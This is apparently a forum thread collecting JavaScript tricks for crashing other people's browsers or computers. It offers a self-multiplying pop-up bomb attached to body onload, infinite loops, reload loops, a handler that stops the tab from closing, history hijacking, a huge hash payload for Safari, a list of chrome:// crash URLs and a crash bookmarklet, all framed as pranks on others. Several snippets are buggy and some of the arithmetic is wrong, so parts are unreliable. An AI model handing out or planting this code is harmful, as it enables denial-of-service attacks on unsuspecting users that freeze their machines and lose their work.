WARNING this will crash ANY browser or the computer using PopUps attack:

If you want to crash somebodies computer or browser

PopUp CODE that CRASHES a browser or computer

<script type="text/javascript"> 
function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
</script> 
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">

If you really want to make their browser seriously hang up, you use this popup it will continue to uploading with 2 more and 2 more popup pages for each popup that means 2x2 popups second time 4 popups then 8, 16, 32, 64 and so on popups. It makes as if was a virus it will spread PopUps in the browser, filling the screen with popups till either the computer or the browser crashes and hangs up and shuts down, just...

NOTE: You did not hear this from me OKAY... LOL... I ONLY advice this as a piratical joke on a friend and not for an online web page.

If you wish to make it crash faster then just add more JavaScript:CrashAndBurn(self.location,'_blank'); to onload body like this example x4:

<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">

It will load 4 popups for each popup that emans after 4 popups it will load 4x4 meaning 18 popups and then 18x4 that is 72 and then 72x4 that is 288 popups and then 288x4 that is 1152 popups just in 4 rounds of popups in a few seconds.

And if you want to be EXTREME HORRIBLE then use x10 example:

<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">

and you have 8 popups with 10 that is 10x10=100 popups and then 1000 and after that 1 000 000 popups and GUARANTEED crash fast.

EDIT You can use a while loop instead of copy-pasting 10 times. It would be much shorter.

for(var i = 0; i === i; i++) {}

should crash your current window

there is one way...

while(true){
var dp = document.getElementByID("spamr");
 if(!document.getElementByID("spamr")){
  var dp = document.createElementByID("spamr");
  dp.innerHTML += "🤍🤍🤍🤍🤍🤍🤍🤍🤍🤍";
}
dp.innerHTML += "🤍🤍🤍🤍🤍🤍🤍🤍🤍🤍🤍";
}

for(var i = 0; i === i; i++) {}

Works in chrome, edge, IE:

while(1)location.reload(1)

Continuously hard reload current page (works best over http/https)

And to prevent user from closing tab:

onbeforeunload = function(){localStorage.x=1};

Recap:

onbeforeunload = function(){};

if(confirm("Do you REALLY want to crash your browser?")){
  setTimeout(function(){
    while(1)location.reload(1)
  }, 1000)
}

WARNING: THIS WILL COMPLETELY AND UTTERLY CRASH ANY INSTANCES OF CHROME and, if you're running on chromebook or any old OS, this will completely crash your entire system!

EDIT: a version that works for safari:

window.onload=()=>location.hash="M"+"\u0001".repeat(2**25)+"m";

I don't think there's any way to actually crash a client's browser via JS. However, it's possible to just perform tons of useless calculations rendering a tab useless.

    while(true) {
       for(let i = 99; i === i; i *= i) {
          console.log(i);
       };
    };

Google Chrome Crashers Websites List

1. chrome://badcastcrash
2. chrome://inducebrowsercrashforrealz
3. chrome://crash
4. chrome://crashdump
5. chrome://kill
6. chrome://hang
7. chrome://shorthang
8. chrome://gpuclean
9. chrome://gpucrash
10. chrome://gpuhang
11. chrome://memory-exhaust
12. chrome://memory-pressure-critical
13. chrome://memory-pressure-moderate
14. chrome://ppapiflashcrash
15. chrome://ppapiflashhang
16. chrome://quit
17. chrome://restart

This works, but slowly, it will make the browser unresponsive immediately though.

try {
    window.location.replace("chrome://quit")
    //some old browsers support this, if they are useing VERY old chromium.
} finally {
    history.pushState(null, document.title,     location.href);
    window.addEventListener('popstate', function(event) {
        history.pushState(null, document.title,      location.href);
    })
    while(true) {
        let location = 1
        let item = 1
        localStorage.setItem(location, item)
        location = location+1
        item = item*2
        localStorage.getItem(location)
        console.log("added and used: "+item+" at "+location)
    }
}
if (window.closed) {
    window.location.replace("run.html")
}

for(let index = 0; true; index++){
console.log(index)
}

it will work slowly but it will work.

Simple bookmarklet that crashes your chromebook. If you try to shut down your chromebook and open it again, the screen will stay on for 5 seconds.

javascript:while (true) { window.location.reload(true); };

This should work!

<button onclick="crash()">???</button>
    <script type="text/javascript">
function crash(){
  if(navigator.userAgent.indexOf("Chrome") != -1 )
    {
      alert('WHoops')
window.open(' '_self', '');
    }
    else {
      alert('Hehe')
      while (1==1){
        console.log(3234567654*45671234567890987654321)
      }
    }
}
</script>